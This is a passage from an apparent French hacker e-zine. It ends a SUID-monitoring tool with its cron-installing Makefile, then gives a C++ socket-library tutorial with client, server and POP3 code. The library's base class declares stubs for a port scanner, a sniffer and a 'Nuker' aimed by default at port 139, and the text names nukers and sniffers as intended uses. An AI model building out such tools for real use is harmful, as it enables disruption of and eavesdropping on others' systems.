}
fprintf(stdout,"\033[1;37m[*]-\033[0m %d SUID binaries added since last check!\n", new);
}
}
return 0;
}
--------------8<------------ Makefile -------------------------------------------------------
CC = cc
LD = cc
CFLAGS = -g -O
LDFLAGS =
.SUFFIXES: .o .c
.c.o:
$(CC) -c $(CFLAGS) $<
all: ss
ss: ss.o
$(LD) ss.o -o ss $(LDFLAGS)
install:
@echo "#!/bin/sh" > /etc/cron.daily/suid
@echo "/root/Suid-Surveyor.1.0/ss cron &" >> /etc/cron.daily/suid
@chmod +x /etc/cron.daily/suid
@echo "install: ok!"
clean:
@rm -f *.o
--------------8<--------------------------------------------------------------------------------
[ Conclusion ]
N'hésitez pas à m'écrire pour me signaler un bug, me faire part d'une
amélioration, ou pour tout autre commentaire. Vous pouver trouver cet
outil en ligne ici : http://www.rootshell.be/~ioc/progs/secuirty/.
Je voudrais remercier MeiK pour le Makefile ainsi que, Marcel, Jamu
et Blashow pour m'avoir aidé à tester ce prog. Je profite de cette
conlcusion pour vous conseiller un article intéressant:
http://www.c2i2.com/~dentonj/system-hardening
---------------------------------------------------------------------------------------
IX. C.A.P.R.U, librairie de classe de gestion Client/Socket* Marcel
---------------------------------------------------------------------------------------
* : article également disponnible en version html à cette adresse :
http://www.rootshell.be/~ioc/mag/issue5/capru.html
/*************/
(vous pouvez si vous voulez inclure mes sites, http://www.emulators.fr.fm
et http://www.hackside.fr.fm)
/*************/
[ Introduction ]
Désireux d'apporter ma faible contribution à IOC, je tenterai de vous expliquer dans
ce bref cours la méthode que j'utilise pour créer des applications Client/Serveur en C++.
J'ai créé une librairie de classes, pas encore totalement terminée, qui permet à tout
programmeur qui les utilise de créer des applications en utilisant les sockets d'une
manière simple, dans des programmes graphiques ou non (avec QT, GTK, ...). Qui dit
simple pour l'utilisateur, dit compliqué pour le développeur ;-)
Cette librairie se nomme "C.A.P.R.U" pour "Classes d'Applications et de Protocoles
Réseaux sous Unix". Elle n'est donc qu'en version de développement et non accessible
sur le Net, toutefois si un lecteur est désireux de les voir, en tant qu'extension de
ce cours, je serai ravi de lui faire parvenir, à condition de ne pas les redistribuer,
pas tant que ce ne sera une version finie (ie stable).
Il va de soi que ces classes sont sous licence GNU/GPL.
Pour me joindre, mailez-moi par *** emulators@fr.fm *** Ou bien laissez un message sur
l'un de mes sites. Je vais donc essayer de vous montrer la partie la moins simple qui
consiste à la mise en oeuvre des classes et à leur programmation, dans un contexte de
réutilisation maximale du code, et de robustesse.
J'ai voulu utiliser le C++ pour la mise en oeuvre de la programmation objet, ce qui
permet une modularité et une meilleure gestion des erreurs. De même ma politique a
été de rendre ces classes les plus polyvalentes possibles, afin de pouvoir être
utilisées par un maximum de personnes.
Dans ce cours je vais expliquer pas à pas la méthode que j'ai utilisé pour créer
cette librairie, afin que vous puissiez vous en inspirer pour créer votre propre
librairie ! N'hésitez surtout pas à me mailer pour me demander des détails
supplémentaires. A noter qu'entre le moment où vous lirez ce tutorial et celui où
la librairie sortira officiellement, elle pourra avoir beaucoup changé.
Ce cours est une exclusivité pour IOC, il sera par la suite disponible sur mes sites.
Si vous avez la possibilité, lisez ce texte avec la coloration syntaxique du C++
Sommaire :
__________
1. L'architecture :
Dans un premier temps je vais vous parler de tous les alentours de
la programmation socket c'est-à-dire l'architecture des classes et
la gestion des erreurs.
2. Client/Serveur Universels :
Ensuite nous verrons la mise en oeuvre des sockets pour créer un
serveur ou un client universels.
3. Programmes et Protocoles :
Puis nous verrons de quelle manière utiliser ces classes pour en
créer d'autres afin de gérer différents protocoles comme POP3,
SMTP, ... ou bien créer des applications telles que des sniffers,
des nukers des scanners de ports, ect ...
I. L'Architecture :
___________________
J'ai créé une classe de base, CBazSocket, qui est composée de quelques fonctions membres qui
lui sont propres (classes d'affichage sur stdout), mais aussi de toutes les fonctions virtuelles,
qui sont aussi redéfinies dans chaque classe fille.
Voici le fichier header de la classe de base :
/*-----------8<-------------8<--------------8<---------------8<-----------------8<-------------*/
namespace client_serveur
{
class erreur
{
};
class CBazSocket
{
public :
/*Fonctions annexes*/
void AfficherHeure();
void AfficherASCII(char *msg, long int taille);
void AfficherHexa(char *msg, long int taille); /*Entrez une chaine et sa taille en paramètre, et je
l'affiche à la manière d'un éditeur hexa (hexa + ascii)*/
void EnregDansFichier(char *msg, long int taille, char *chemin, bool ajout = true);
/*Ces 4 classes vont souvent êtr eutilisées pour l'affichage ou l'enregistrement dans un fichier texte*/
/*Fonctions virtuelles pour CServeur et CClient*/
virtual void Creer();
virtual void Options(int niveau, int option, char *valeur);
virtual void Options(int niveau, int option, int valeur);
virtual void Connecter();
virtual void Envoyer(char *msg, long int taille);
virtual void Recevoir(long int taillemin, long int taillemax);
virtual void Deconnecter();
char *buffsrv;
long int taillebuffsrv;
char *buffcli;
long int taillebuffcli;
/*Fonctions virtuelles pour CInformations*/
virtual void Serveur(char *nomserveur);
virtual void Protocole(char *nomproto);
virtual void Service(char *nomservice, char *nomproto);
virtual void Reseau(char *nomserveur, unsigned short int type);
/*Structure pour stocker un hote, un protocole, un service, ou un nom de réseau*/
struct hostent *he; /*Modifié par CInformations::Serveur(), par CInformations::CInformations(), CClient::CClient(), et par CClient::Creer()*/
struct protoent *prtcl; /*Modifié par CInformations::Protocole(), et par CInformations::CInformations()*/
struct servent *srvc; /*Modifié par CInformations::Service(), et par CInformations::CInformations()*/
struct netent *ntnt; /*Modifié par CInformations::Reseau(), et par CInformations::CInformations()*/
/*Fonctions virtuelles pour CApplications*/
virtual void ScannerMonoIP(char *nomserveur);
virtual void ScannerMultiIP(char *nomserveurdep, char *nomserveurfin, unsigned short int port = 1025);
virtual void Sniffer(unsigned short int adrssge);
virtual void Nuker(char *nomserveur, char *msg, unsigned short int port = 139, unsigned long int nbrfois = 100);
char *buffappl;
long int taillebuffappl;
/*Fonctions virtuelles pour CPOP3*/
virtual void ClientPOP3_Connecter(char *nomserveur);
virtual void ClientPOP3_UserPass(char *user, char *pass);
virtual void ClientPOP3_Stats();
virtual void ClientPOP3_Lister(unsigned long int numero = 0);
virtual void ClientPOP3_VoirEnTete(unsigned short int numero = 1, unsigned long int nbrlignes = 0);
virtual void ClientPOP3_AfficherMail(unsigned short int numero = 1, long int taillemin = 10, long int taillemax = 10);
virtual void ClientPOP3_EffacerMail(unsigned short int numero = 0);
virtual void ClientPOP3_RestaurerTous();
virtual void ClientPOP3_Quitter();
virtual void ServeurPOP3();
char *buffpop3;
long int taillebuffpop3;
/*Entiers stockant en fait des sockets*/
long int srv; /*socket serveur local, modifié par CServeur::Creer();*/
long int srv_cli_cnt; /*socket utilisé lorsqu'un client distant se connecte au serveur local, modifié par CServeur::Connecter()*/
long int cli; /*socket client local, modifié par CClient::Creer()*/
/*Errorlevel*/
unsigned short int possible[10];
/*Paramètres du socket (entiers stockant les port, port d'envoi, domaine, type, et protocole des sockets, chaîne pour stocker un nom de serveur, ...)*/
unsigned short int adrssge; /*Doit contenir 4 pour IP4 et 6 pour IP6*/
char *nomserveur; /*Modifié par CClient::CClient()*/
unsigned short int port, domaine, type, protocole; /*Modifiés par CServeur::CServeur() et CClient::CClient()*/
unsigned short int portdenvoi; /*Modifié par CClient::CClient();*/
bool verbose; /*Si verbose vaut 'true', beaucoup de messages sont affichés, sinon aucun*/
short int affichage; /*Détermine le mode d'affichage des résultats des fonctions membres*/
bool ajout;
char *chemin;
/********************************/
/* Jusqu'à la fin de la classe, */
/* */
/*Données de stockage temporaire*/
/* utilisées par les classes */
/* CServeur et CClient */
/********************************/
/*Structures stockant l'identité des sockets*/
struct sockaddr_in sonin, monin; /*Pour la famille PF_INET*/
struct sockaddr_in6 sonin6, monin6; /*Pour la famille PF_INET6*/
struct sockaddr_ax25 *sonax25, *monax25; /*Pour la famille PF_AX25*/
struct sockaddr_ipx *sonipx, *monipx; /*Pour la famille PF_IPX*/
struct sockaddr_un *sonun, *monun; /*Pour la famille PF_UNIX,PF_LOCAL*/
/*Données membres statiques*/
static socklen_t sockaddr_in_len; /*vaut sizeof(struct sockaddr_in)*/
static socklen_t sockaddr_in6_len; /*vaut sizeof(struct sockaddr_in6)*/
static socklen_t sockaddr_ax25_len; /*vaut sizeof(struct sockaddr_ax25)*/
static socklen_t sockaddr_ipx_len; /*vaut sizeof(struct sockaddr_ipx)*/
static socklen_t sockaddr_un_len; /*vaut sizeof(struct sockaddr_un)*/
};
} /*Fin du namespace client_serveur*/
/*-----------8<-------------8<--------------8<---------------8<-----------------8<-------------*/
Voici les 4 fonctions membres d'affichage :
void CBazSocket::AfficherHeure()
{
time_t sectmp;
struct tm *stmtmp = new tm;
time(§mp);
stmtmp = localtime(§mp);
printf("%2d h. %2d m. %2d s.", stmtmp->tm_hour, stmtmp->tm_min, stmtmp->tm_sec);
}
/*---------------------------------------------------------------------------*/
void CBazSocket::AfficherASCII(char *msg, long int taille)
{
long int i;
printf("%d octets à ", (int)taille);
AfficherHeure();
printf("\n");
for (i=0; i < taille; i++)
printf("%c", msg[i]);
printf("\n");
}
/*---------------------------------------------------------------------------*/
void CBazSocket::AfficherHexa(char *msg, long int taille)
{
long int i, j;
unsigned short int a;
char *b = new char[5];
printf("%d octets à ", (int)taille);
AfficherHeure();
printf("\n");
for (i=0; i < taille; i++)
{
a = msg[i];
sprintf (b, "%04X ", a); /*Affiche 16 caractères en hexa*/
printf ("%c%c ", b[2], b[3]);
if (! ((i+1)%16)) /*Affiche 16 caractères en ASCII*/
{
cout << "\t";
for (j=i-15; j <= i; j++)
{
a = msg[j];
if (a < 0x18 || a == 0x19 || ((a > 0x1A) && (a < 0x20)) || ((a >= 0x7F) && (a < 0xA0)))
a = 0x2E;
printf("%c ", a);
}
printf("\n");
}
}
if (taille%16)
{
for (i=0; i < 16-(taille%16); i++)
printf(" ");
cout << "\t";
for (j=(taille-(taille%16)); j < taille; j++)
{
a = msg[j];
if (a < 0x18 || a == 0x19 || ((a > 0x1A) && (a < 0x20)) || ((a >= 0x7F) && (a < 0xA0)))
a = 0x2E;
printf("%c ", a);
}
}
printf("\n");
}
/*---------------------------------------------------------------------------*/
void CBazSocket::EnregDansFichier(char *msg, long int taille, char *chemin, bool ajout)
{
FILE *fp;
if (ajout)
fp = fopen(chemin, "a");
else
fp = fopen(chemin, "w");
if (fp == NULL)
{
if (verbose)
perror("\tImpossible de créer ou d'ouvrir le fichier ");
}
else
{
if (fwrite(msg, sizeof(char), taille, fp) != (unsigned long int)taille)
{
if (verbose)
perror("\tImpossible d'écrire dans le fichier (exemple, disque plein) ");
}
if (fclose(fp) == EOF)
{
if (verbose)
perror ("\tImpossible de fermer le fichier ");
}
}
}
Vous remarquerez aussi que j'ai créé un namespace, afin d'être sûr de ne pas entrer
en conflit avec d'autres fonctions d'autres librairies. Chaque classe à un nom de la
forme Cxxx. la classe de base se nomme CBazSocket, et la classe fille Serveur se nomme
CServeur par exemple.
Vous pouvez donc aperçevoir 8 classes filles, à savoir :
CServeur /*Serveur universel*/
CClient /*Client universel*/
CApplications /*Diverses applications telles que sniffer, nuker, ...*/
CInformations /*Informations sur un serveur, sur un protocole, ...*/
CPOP3 /*Protocole POP3*/
CFTP /*Protocole FTP*/
CHTTP /*Protocole HTTP*/
CSMTP /*Protocole SMTP*/
J'ai jugé utile d'utiliser le polymorphisme, notamment pour l'utilisation
de listes chaînées d'objets ! De même il est à savoir que les classes
d'applications et de protocoles sont une surcouche des classes CServeur et
CClient, en les réutilisant.
[ L'Errorlevel ]
Il faut laisser le pouvoir au développeur utilisateur des classes de récupérer
et intercépter les erreurs afin que le puisse les afficher à sa manière ( par
exemple dans une boîte de dialogue visuelle ). Pour cela il m'a semblé nécéssaire
de créer des Errorlevel. J'ai donc défini un tableau d'entiers courts, nommé
'possible', dont chaque élément correspond à une opération élémentaire d'une
fonction membre d'une classe. Par exemple si la fonction Creer() ( fontion 1,
donc indice 0 du tableau) de la classe CServeur a 5 opérations élémentaires,
il faut que possible[0] = 5. Ceci n'est pas d'une originalité frappante, vous
devez donc connaître le principe.
Maintenant que l'architecture a été mise en place, passons aux choses intéressantes :)
II. Client/Serveur Universels :
________________________________
Les 2 classes filles sans conteste les plus importantes sont bien sûr
CServeur et CClient. Ces classes comportent chacunes les même fonctions
membres (d'où l'utilité du polymorphisme), à savoir :
virtual void Creer();
virtual void Options(int niveau, int option, char *valeur);
virtual void Options(int niveau, int option, int valeur);
virtual void Connecter();
virtual void Envoyer(char *msg, long int taille);
virtual void Recevoir(long int taillemin, long int taillemax);
virtual void Deconnecter();
Ces fonctions sont à la base de tout, et contiennent chacune les vérifications
nécéssaires pour se permettre de les appeler dans n'importe quel ordre, jusqu'à
ce que le bon ordre soit créé afin de créé le client ou le serveur voulu.
Bien sûr c'est inutile de les appeler dans le désordre, mais je dois pouvoir
tout prévoir. Là encore rien de spécatculaire dans ces vérifications d'erreurs !
A savoir que le constructeur reçoit divers paramètre nécessaires à toutes les
méthodes de la classe.
Etudions sans plus attendre la fonction Creer(), qui se contente de créer le socket :
1- Dans le cas du client :
void CClient::Creer()
{
char *a = new char[256];
possible[0] = 0;
if ((cli = socket(domaine, type, protocole)) == -1) /*---- Début Opération élémentaire 1 ----*/
{
if (verbose)
perror("\tClient : Erreur de socket ");
}
else
{
possible[0]++;
if (verbose) {
AfficherHeure();
cout << " : Client : Socket valide\n";
}
if((he = gethostbyname(nomserveur)) == NULL) /*---- Début Opération élémentaire 2 ----*/
{
if (verbose)
perror("\tClient : Erreur d'obtention des infos sur le serveur ");
}
else
{
possible[0]++;
if (verbose) {
AfficherHeure();
if (domaine == PF_INET)
{
if (inet_ntop(PF_INET, (in_addr *)he->h_addr_list[0], a, 256) == NULL)
fprintf(stderr, " : Client : Impossible de déterminer l'IP du serveur (distant) ?!?!\n");
else
cout << " : Client : Infos sur " << nomserveur << " (" << a << ") trouvées\n";
}
/*else
{
if (inet_ntop(PF_INET6, (in6_addr *)he->h_addr_list[0], a, 256) == NULL)
cout << " : Client : Impossible de déterminer l'IP du serveur (distant) ?!?!\n";
else
cout << " : Client : Infos sur " << nomserveur << " (" << a << ") trouvées\n";
}*/
}
if (domaine == PF_INET)
{
memset(&sonin, 0, sockaddr_in_len);
sonin.sin_family = domaine;
sonin.sin_port = htons(port);
sonin.sin_addr.s_addr = ((in_addr *)he->h_addr_list[0])->s_addr; /*ou bien (*(in_addr_t *)he->h_addr_list[0]) ...*/
}
/*else
{
memset(&sonin6, 0, sockaddr_in6_len);
sonin6.sin_family = domaine;
sonin6.sin_port = htons(port);
sonin6.sin_addr.s_addr = ((in6_addr *)he->h_addr_list[0])->s_addr;
}*/
if (sonin.sin_addr.s_addr == INADDR_NONE /*|| sonin6.sin_addr.s_addr == INADDR_NONE*/) /*---- Début Opération élémentaire 3 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Client : Impossible de trouver le serveur %s\n", nomserveur);
}
}
else
{
possible[0]++;
if (verbose) {
AfficherHeure();
cout << " : Client : Hôte " << nomserveur << " trouvé\n";
}
} /*---- Fin Opération élémentaire 3 ----*/
} /*---- Fin Opération élémentaire 2 ----*/
} /*---- Fin Opération élémentaire 1 ----*/
delete[] a;
}
Vous remarquerez que j'ai bien indiqué les opérations élémentaires, ici possible[0] doit valoir 3
pour être certain que tout a bien fonctionné.
2- Dans le cas du serveur :
void CServeur::Creer()
{
possible[0] = 0;
if (port < 1) /*---- Début Opération élémentaire 1 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Serveur : Impossible de se travailler car le numéro de port local(%d) est invalide\n\tChoisissez entre 1 et 65535\n", port);
}
}
else
{
possible[0]++;
if ((srv = socket(domaine, type, protocole)) == -1) /*---- Début Opération élémentaire 2 ----*/
{
if (verbose)
perror("\tServeur : Erreur de socket ");
}
else
{
possible[0]++;
if (verbose) {
AfficherHeure();
cout << " : Serveur : Socket valide\n";
}
} /*---- Fin Opération élémentaire 2 ----*/
} /*---- Fin Opération élémentaire 1 ----*/
}
Si vous êtes familier des sockets, vous pourrez constater que la plupart du code
est dédié à la gestion des erreurs. J'ai beaucoup insisté sur ce dernier point
afin de créer des classes robustes.
Voilà maintenant le code de CClient::Connecter() :
void CClient::Connecter()
{
long int i = 0;
char *a = new char[256];
possible[1] = 0;
if (possible[0] == 3)
{
if (domaine == PF_INET) /*Ne fait pas partie d'une opération élémentaire*/
{
memset(&monin, 0, sockaddr_in_len);
monin.sin_family = domaine;
monin.sin_port = htons(portdenvoi);
monin.sin_addr.s_addr = htonl(INADDR_ANY);
i = bind(cli, (struct sockaddr *)&monin, sockaddr_in_len);
}
/*else
{
memset(&monin6, 0, sockaddr_in6_len);
monin6.sin_family = domaine;
monin6.sin_port = htons(portdenvoi);
monin6.sin_addr.s_addr = htonl(INADDR_ANY);
i = bind(cli, (struct sockaddr *)&monin6, sockaddr_in6_len);
}*/
if (i == -1)
{
if (verbose)
perror("\tClient : Impossible d'associer la socket à une addresse ");
close(cli);
}
else
{
if (verbose) {
AfficherHeure();
cout << " : Client : Socket associé à une adresse\n";
}
}
} /*Ne fait pas partie d'une opération élémentaire*/
if (possible[0] != 3 || type != SOCK_STREAM) /*---- Début Opération élémentaire 1 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Client : Impossible de se connecter, raisons possibles :\n\t* Le socket n'a pas été créé\n\t* Il s'agit d'un socket qui ne nécessite pas de connexion (SOCK_DGRAM, ...)\n");
}
}
else
{
possible[1]++;
if (port < 1 || port > 65535) /*---- Début Opération élémentaire 2 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Client : Impossible de travailler car le numéro de port distant (%d) est invalide\n\tChoisissez entre 1 et 65535\n", port);
}
}
else
{
possible[1]++;
if (domaine == PF_INET)
i = connect(cli, (struct sockaddr *)&sonin, sockaddr_in_len);
/*else
i = connect(cli, (struct sockaddr *)&sonin6, sockaddr_in6_len);*/
if (i == -1) /*---- Début Opération élémentaire 3 ----*/
{
if (verbose)
perror("\tClient : Impossible de se connecter au socket ");
close(cli);
}
else
{
possible[1]++;
if (verbose) {
AfficherHeure();
cout << " : Client : Connecté au serveur distant " << nomserveur << endl;
}
memset(&monin, 0, sockaddr_in_len);
memset(&monin6, 0, sockaddr_in6_len);
if (domaine == PF_INET)
i = getsockname(cli, (struct sockaddr *)&monin, &sockaddr_in_len);
/*else
i = getsockname(srv_cli_cnt, (struct sockaddr *)&monin6, &sockaddr_in6_len);*/
if (i == -1) /*---- Début Opération élémentaire 4 ----*/
{
if (verbose)
perror("\tClient : Impossible d'obtenir des infos sur le client ");
}
else
{
possible[1]++;
if (verbose) {
if (domaine == PF_INET)
{
cout << "\t\tFamille du socket local : " << monin.sin_family << endl;
cout << "\t\tPort du client (local) ouvert : " << ntohs(monin.sin_port) << endl;
if (inet_ntop(PF_INET, &monin.sin_addr, a, 256) == NULL)
cout << "\t\tImpossible de déterminer l'IP du client (local) ?!?!\n";
else
cout << "\t\tIP du client (local) : " << a << endl;
}
/*else
{
cout << "\t\tFamille du socket local : " << monin6.sin_family << endl;
cout << "\t\tPort du client (local) ouvert : " << ntohs(monin6.sin_port) << endl;
if (inet_ntop(PF_INET6, &monin6.sin_addr, a, 256) == NULL)
cout << "\t\tImpossible de déterminer l'IP du client (local) ?!?!\n";
else
cout << "\t\tIP du client (local) : " << a << endl;
}*/
}
memset(&sonin, 0, sockaddr_in_len);
memset(&sonin6, 0, sockaddr_in6_len);
if (domaine == PF_INET)
i = getpeername(cli, (struct sockaddr *)&sonin, &sockaddr_in_len);
/*else
i = getpeername(srv_cli_cnt, (struct sockaddr *)&sonin6, &sockaddr_in6_len);*/
if (i == -1) /*---- Début Opération élémentaire 5 ----*/
{
if (verbose)
perror("\tClient : Impossible d'obtenir des infos sur le serveur ");
}
else
{
possible[1]++;
if (verbose) {
if (domaine == PF_INET)
{
cout << "\t\tFamille du socket distant : " << sonin.sin_family << endl;
cout << "\t\tPort du serveur (distant) ouvert : " << ntohs(sonin.sin_port) << endl;
if (inet_ntop(PF_INET, &sonin.sin_addr, a, 256) == NULL)
cout << "\t\tImpossible de déterminer l'IP du serveur (distant) ?!?!\n";
else
cout << "\t\tIP du serveur (distant) : " << a << endl;
}
/*else
{
cout << "\t\tFamille du socket distant : " << sonin6.sin_family << endl;
cout << "\t\tPort du serveur (distant) ouvert : " << ntohs(sonin6.sin_port) << endl;
if (inet_ntop(PF_INET6, &sonin6.sin_addr, a, 256) == NULL)
cout << "\t\tImpossible de déterminer l'IP du serveur (distant) ?!?!\n";
else
cout << "\t\tIP du serveur (distant) : " << a << endl;
}*/
}
} /*---- Fin Opération élémentaire 5 ----*/
} /*---- Fin Opération élémentaire 4 ----*/
} /*---- Fin Opération élémentaire 3 ----*/
} /*---- Fin Opération élémentaire 2 ----*/
} /*---- Fin Opération élémentaire 1 ----*/
delete[] a;
}
Vous pouvez lire le manuel ("man commande") des fonctions getpeername et
getsockname. Analysez bien les 5 opérations élémentaires. Vous remarquerez
que je connecte le socket au serveur distant qui se nomme 'nomserveur', initialisé
lors de l'appel au constructeur, après avoir bindé le socket à un port local (opération
souvent inutile dans le cas d'un client.
Les fonctions surchargées Options() peuvent ne pas être utilisées, je ne
expliquerai pas ici !
Voici le code de CServeur::Connecter()
void CServeur::Connecter()
{
long int i = 0;
char *a = new char[256];
possible[1] = 0;
if (possible[0] == 2) /*Ne fait pas partie d'une opération élémentaire*/
{
if (domaine == PF_INET)
{
memset(&monin, 0, sockaddr_in_len);
monin.sin_family = domaine;
monin.sin_port = htons(port);
monin.sin_addr.s_addr = htonl(INADDR_ANY);
i = bind(srv, (struct sockaddr *)&monin, sockaddr_in_len);
}
/*else
{
memset(&monin6, 0, sockaddr_in6_len);
monin6.sin_family = domaine;
monin6.sin_port = htons(port);
monin6.sin_addr.s_addr = htonl(INADDR_ANY);
i = bind(srv, (struct sockaddr *)&monin6, sockaddr_in6_len);
}*/
if (i == -1)
{
if (verbose)
perror("\tServeur : Impossible d'associer la socket à une addresse ");
close(srv);
}
else
{
if (verbose) {
AfficherHeure();
cout << " : Serveur : Socket associé à une adresse\n";
}
}
} /*Ne fait pas partie d'une opération élémentaire*/
if (possible[0] != 2 || type != SOCK_STREAM) /*---- Début Opération élémentaire 1 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Serveur : Impossible de se connecter, raisons possibles :\n\t* Le socket n'a pas été créé\n\t* Il s'agit d'un socket qui ne nécessite pas de connexion (SOCK_DGRAM, ...)\n");
}
}
else
{
possible[1]++;
if (listen(srv, 1) == -1) /*---- Début Opération élémentaire 2 ----*/
{
if (verbose)
perror("\tServeur : Erreur sur listen avec la socket ");
close(srv);
}
else
{
possible[1]++;
if (verbose) {
AfficherHeure();
cout << " : Serveur : Listen correctement réalisé sur le port " << port << "\n\tAttente de connexion d'un client ... ... ...\n";
}
memset(&sonin, 0, sockaddr_in_len);
memset(&sonin6, 0, sockaddr_in6_len);
while (true)
{
if (domaine == PF_INET)
srv_cli_cnt = accept(srv, (struct sockaddr *)&sonin, &sockaddr_in_len);
/*else
srv_cli_cnt = accept(srv, (struct sockaddr *)&sonin6, &sockaddr_in6_len);*/
if (srv_cli_cnt == -1) /*---- Début Opération élémentaire 3 ----*/
{
if (verbose)
perror("\tServeur : Erreur de socket ");
close(srv);
}
else
{
possible[1]++;
if (verbose) {
AfficherHeure();
cout << " : Serveur : Un client distant est connecté\n";
}
memset(&monin, 0, sockaddr_in_len);
memset(&monin6, 0, sockaddr_in6_len);
if (domaine == PF_INET)
i = getsockname(srv_cli_cnt, (struct sockaddr *)&monin, &sockaddr_in_len);
/*else
i = getsockname(srv_cli_cnt, (struct sockaddr *)&monin6, &sockaddr_in6_len);*/
if (i == -1) /*---- Début Opération élémentaire 4 ----*/
{
if (verbose)
perror("\tServeur : Impossible d'obtenir des infos sur le serveur ");
}
else
{
possible[1]++;
if (verbose) {
if (domaine == PF_INET)
{
cout << "\t\tFamille du socket local : " << monin.sin_family << endl;
cout << "\t\tPort du serveur (local) ouvert : " << ntohs(monin.sin_port) << endl;
if (inet_ntop(PF_INET, &monin.sin_addr, a, 256) == NULL)
cout << "\t\tImpossible de déterminer l'IP du serveur (local) ?!?!\n";
else
cout << "\t\tIP du serveur (local) : " << a << endl;
}
/*else
{
cout << "\t\tFamille du socket local : " << monin6.sin_family << endl;
cout << "\t\tPort du serveur (local) ouvert : " << ntohs(monin6.sin_port) << endl;
if (inet_ntop(PF_INET6, &monin6.sin_addr, a, 256) == NULL)
cout << "\t\tImpossible de déterminer l'IP du serveur (local) ?!?!\n";
else
cout << "\t\tIP du serveur (local) : " << a << endl;
}*/
}
memset(&sonin, 0, sockaddr_in_len);
memset(&sonin6, 0, sockaddr_in6_len);
if (domaine == PF_INET)
i = getpeername(srv_cli_cnt, (struct sockaddr *)&sonin, &sockaddr_in_len);
/*else
i = getpeername(srv_cli_cnt, (struct sockaddr *)&sonin6, &sockaddr_in6_len);*/
if (i == -1) /*---- Début Opération élémentaire 5 ----*/
{
if (verbose)
perror("\tServeur : Impossible d'obtenir des infos sur le client ");
}
else
{
possible[1]++;
if (verbose) {
if (domaine == PF_INET)
{
cout << "\t\tFamille du socket distant : " << sonin.sin_family << endl;
cout << "\t\tPort du client (distant) ouvert : " << ntohs(sonin.sin_port) << endl;
if (inet_ntop(PF_INET, &sonin.sin_addr, a, 256) == NULL)
cout << "\t\tImpossible de déterminer l'IP du client (distant) ?!?!\n";
else
cout << "\t\tIP du client (distant) : " << a << endl;
}
/*else
{
cout << "\t\tFamille du socket distant : " << sonin6.sin_family << endl;
cout << "\t\tPort du client (distant) ouvert : " << ntohs(sonin6.sin_port) << endl;
if (inet_ntop(PF_INET6, &sonin6.sin_addr, a, 256) == NULL)
cout << "\t\tImpossible de déterminer l'IP du client (distant) ?!?!\n";
else
cout << "\t\tIP du client (distant) : " << a << endl;
}*/
}
close (srv);
break; /*TRES IMPORTANT, sinon continue la boucle même si un client s'est connecté*/
} /*---- Fin Opération élémentaire 5 ----*/
} /*---- Fin Opération élémentaire 4 ----*/
} /*---- Fin Opération élémentaire 3 ----*/
} /*Fin while(1)*/
} /*---- Fin Opération élémentaire 2 ----*/
} /*---- Fin Opération élémentaire 1 ----*/
delete[] a;
}
La grande différence avec le méthode du Client, est l'attente (listen puis une boucle infinie avec
connect).
Ne surtout pas oublier l'instruction break à la fin de la boucle infinie, pour qu'il ne continue pas
à attendre un client lorsqu'il en a trouvé un !
A partir de maintenant, les fonctions seront presqu'identiques entre CClient et CServeur, je ne
montrarai donc que celles de Client.
Voici CClient::Envoyer()
void CClient::Envoyer(char *msg, long int taille)
{
possible[2] = 0;
if (possible[0] != 3 || (type == SOCK_STREAM && possible[1] != 5)) /*---- Début Opération élémentaire 1 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Client : Impossible d'envoyer, raisons possibles :\n\t* Le socket n'a pas été créé\n\t* Le socket a été créé mais n'est pas connecté\n");
}
taillebuffcli = 0;
}
else
{
possible[2]++;
if (type != SOCK_STREAM)
{
if (domaine == PF_INET)
taillebuffcli = sendto(cli, msg, taille, 0, (struct sockaddr *)&sonin, sockaddr_in_len);
/*else
*taille = sendto(cli, msg, strlen(msg), 0, (struct sockaddr *)&sonin6, sockaddr_in6_len);*/
}
else
taillebuffcli = send(cli, msg, taille, 0);
if (taillebuffcli < 1) /*---- Début Opération élémentaire 2 ----*/
{
if (verbose)
perror("\tClient : Erreur d'envoi ");
}
else
{
possible[2]++; /*---- Fin Opération élémentaire 2 ----*/
if (affichage == 1)
AfficherASCII(msg, taillebuffcli);
if (affichage == 2)
AfficherHexa(msg, taillebuffcli);
if (affichage == 3)
EnregDansFichier(msg, taillebuffcli, chemin, ajout);
}
} /*---- Fin Opération élémentaire 1 ----*/
}
C'est ici d'une simplicité élémentaire (oui OK j'exagère :) , je vous laisse
le soin de regarder ce court code. Voici CClient::Recevoir(), très simple aussi :
void CClient::Recevoir(long int taillemin, long int taillemax)
{
long int i = 0;
if (taillemin > taillemax)
taillemin = taillemax;
buffcli = new char[taillemax];
for (i=0; i<taillemax; i++)
buffcli[i] = '\0';
possible[3] = 0;
if (possible[0] != 3 || possible[1] != 5) /*---- Début Opération élémentaire 1 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Client : Impossible de reçevoir, raisons possibles :\n\t* Le socket n'a pas été créé\n\t* Le socket a été créé mais n'est pas connecté\n\t* Il s'agit d'un socket dont le mode client ne permet pas de reçevoir (SOCK_DGRAM, ...)\n");
}
taillebuffcli = 0;
}
else
{
possible[3]++;
CClient::Options(SOL_SOCKET, SO_RCVLOWAT, taillemin);
taillebuffcli = recv(cli, buffcli, taillemax, 0);
if (taillebuffcli < 1) /*---- Début Opération élémentaire 2 ----*/
{
if (verbose)
perror("\tClient : Erreur de réception ");
}
else
{
possible[3]++; /*---- Fin Opération élémentaire 2 ----*/
if (affichage == 1)
AfficherASCII(buffcli, taillebuffcli);
if (affichage == 2)
AfficherHexa(buffcli, taillebuffcli);
if (affichage == 3)
EnregDansFichier(buffcli, taillebuffcli, chemin, ajout);
}
} /*---- Fin Opération élémentaire 1 ----*/
}
Et pour finir la déconnexion, encore plus simple, sans oublier la réinitialisation des Errorlevel
(j'aurais pu utiliser une boucle pour réinitialiser le tableau, mais il est possible que la boucle for
utilise beaucoup de cycles horloges et soit légèrement plus longue).
void CClient::Deconnecter()
{
possible[4] = 0;
if (possible[0] != 3 || possible[1] != 5) /*---- Début Opération élémentaire 1 ----*/
{
if (verbose) {
AfficherHeure();
fprintf(stderr, " : Client : Impossible de se déconnecter, raisons possibles\n\t* Le socket n'a pas été créé\n\t* Le socket a été créé mais n'est pas connecté\n\t* Il s'agit d'un socket qui ne nécessite pas de connexion (SOCK_DGRAM, ...)\n");
}
}
